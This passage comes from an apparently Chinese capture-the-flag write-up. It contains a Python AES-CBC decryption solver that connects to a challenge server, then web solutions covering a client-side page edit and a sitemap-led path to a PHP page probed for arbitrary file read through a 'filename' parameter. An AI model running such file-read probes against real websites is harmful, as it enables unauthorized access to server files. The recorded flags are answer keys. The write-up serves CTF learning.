    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,
]

InvSbox = [0] * 256
for i in range(256):
    InvSbox[Sbox[i]] = i

Rcon = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36]

# ---------------------- AES 工具函数 ----------------------
def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def sub_word(word):
    return bytes(Sbox[b] for b in word)

def rot_word(word):
    return word[1:] + word[:1]

def expand_key(key):
    key_symbols = list(key)
    assert len(key_symbols) == 16

    # 44 words
    words = [bytes(key_symbols[i*4:(i+1)*4]) for i in range(4)]
    for i in range(4, 44):
        temp = words[i-1]
        if i % 4 == 0:
            temp = xor_bytes(sub_word(rot_word(temp)), bytes([Rcon[i//4 - 1],0,0,0]))
        words.append(xor_bytes(words[i-4], temp))
    return words

def add_round_key(state, w, r):
    return xor_bytes(state, b"".join(w[4*r:4*(r+1)]))

def sub_bytes(state):
    return bytes(Sbox[b] for b in state)

def inv_sub_bytes(state):
    return bytes(InvSbox[b] for b in state)

def shift_rows(s):
    s = list(s)
    s[1],s[5],s[9],s[13] = s[5],s[9],s[13],s[1]
    s[2],s[6],s[10],s[14] = s[10],s[14],s[2],s[6]
    s[3],s[7],s[11],s[15] = s[15],s[3],s[7],s[11]
    return bytes(s)

def inv_shift_rows(s):
    s = list(s)
    s[5],s[9],s[13],s[1] = s[1],s[5],s[9],s[13]
    s[10],s[14],s[2],s[6] = s[2],s[6],s[10],s[14]
    s[15],s[3],s[7],s[11] = s[3],s[7],s[11],s[15]
    return bytes(s)

def xtime(a):
    return ((a<<1)&0xff) ^ (0x1b if a & 0x80 else 0)

def mul(a, b):
    p=0
    for _ in range(8):
        if b & 1:
            p ^= a
        a = xtime(a)
        b >>= 1
    return p

def mix_columns(s):
    res = []
    for c in range(4):
        col = s[4*c:4*c+4]
        res += [
            mul(col[0],2) ^ mul(col[1],3) ^ col[2] ^ col[3],
            col[0] ^ mul(col[1],2) ^ mul(col[2],3) ^ col[3],
            col[0] ^ col[1] ^ mul(col[2],2) ^ mul(col[3],3),
            mul(col[0],3) ^ col[1] ^ col[2] ^ mul(col[3],2)
        ]
    return bytes(res)

def inv_mix_columns(s):
    res=[]
    for c in range(4):
        col=s[4*c:4*c+4]
        res += [
            mul(col[0],14)^mul(col[1],11)^mul(col[2],13)^mul(col[3],9),
            mul(col[0],9)^mul(col[1],14)^mul(col[2],11)^mul(col[3],13),
            mul(col[0],13)^mul(col[1],9)^mul(col[2],14)^mul(col[3],11),
            mul(col[0],11)^mul(col[1],13)^mul(col[2],9)^mul(col[3],14),
        ]
    return bytes(res)

def aes_decrypt_block(block, w):
    state = add_round_key(block, w, 10)

    for r in range(9,0,-1):
        state = inv_shift_rows(state)
        state = inv_sub_bytes(state)
        state = add_round_key(state, w, r)
        state = inv_mix_columns(state)

    state = inv_shift_rows(state)
    state = inv_sub_bytes(state)
    state = add_round_key(state, w, 0)
    return state

# ---------------------- CBC 解密 ----------------------
def aes_cbc_decrypt(cipher, key, iv):
    w = expand_key(key)
    assert len(cipher) % 16 == 0
    pt = b""
    prev = iv

    for i in range(0,len(cipher),16):
        block = cipher[i:i+16]
        dec = aes_decrypt_block(block, w)
        pt += xor_bytes(dec, prev)
        prev = block

    return pt

# ---------------------- MAIN: 连接并解密 ----------------------

def main():
    conn = remote("geek.ctfplus.cn", 30875)

    key1 = int(conn.recvline().strip())
    cipher_bytes = eval(conn.recvline().split(b"=",1)[1])
    iv = eval(conn.recvline().split(b"=",1)[1])

    print("[+] KEY1 =", key1)

    key_bytes = key1.to_bytes(16, "big")

    pt = aes_cbc_decrypt(cipher_bytes, key_bytes, iv)

    # 去 PKCS7 padding
    pad_len = pt[-1]
    pt = pt[:-pad_len]

    print("\n[+] FLAG =", pt.decode())


if __name__ == "__main__":
    main()

运行结果SYC{SS_B0xx_I1s_ver1y_Differe1c999c}

web

35.阿基里斯追乌龟

1.直接点击追赶,最终追上但回显是虚假的flag 2.开发者工具修改源代码把阿基里斯的位置改成200,乌龟位置改成100.本地覆盖,刷新 3.再点追赶获取真实flag:SYC{Spi1t_th3_T1me_t0_the_3nd_019aba97fc4c7c3d8d05c30b00db6f2b}

36.Vibe SEO

1.开启环境进入发现只是png.第一想到图片隐写,尝试后发现并不是,再次审题干,关注题目中“结构化的站点地图”,站点地图是网站向搜索引擎提供的结构化页面索引文件(通常命名为 sitemap.xml 、 sitemap.txt 等)。 2.尝试拼接站点地图相关路径http://819a268a-232f-7e31-9016-301e2c38c692.geek.ctfplus.cn/sitemap.xml,成功 3.从这个 sitemap.xml 的源码中可以提取到关键路径http://localhost/aa__^^.php,核心思路是替换路径中的localhost为题目域名,访问目标文件。尝试构造URL为http://019abae6-0385-75ee-a05e-21775d87bf24.geek.ctfplus.cn/aa__%5E%5E.php 4.从页面回显可以发现存在一个filename参数,尝试文件读取漏洞,通过filename参数传递文件路径。尝试一系列读取常见的Flag路径:http://xxx.geek.ctfplus.cn/aa__^^.php?filename=flag.txt无果,但回显显示filename to long 5.于是读取当前文件的源码(看是否内嵌Flag):http://019a268a-232f-7e31-9016-301e2c38c692.geek.ctfplus.cn/aa__^^.php?filename=aa__^^.php。如下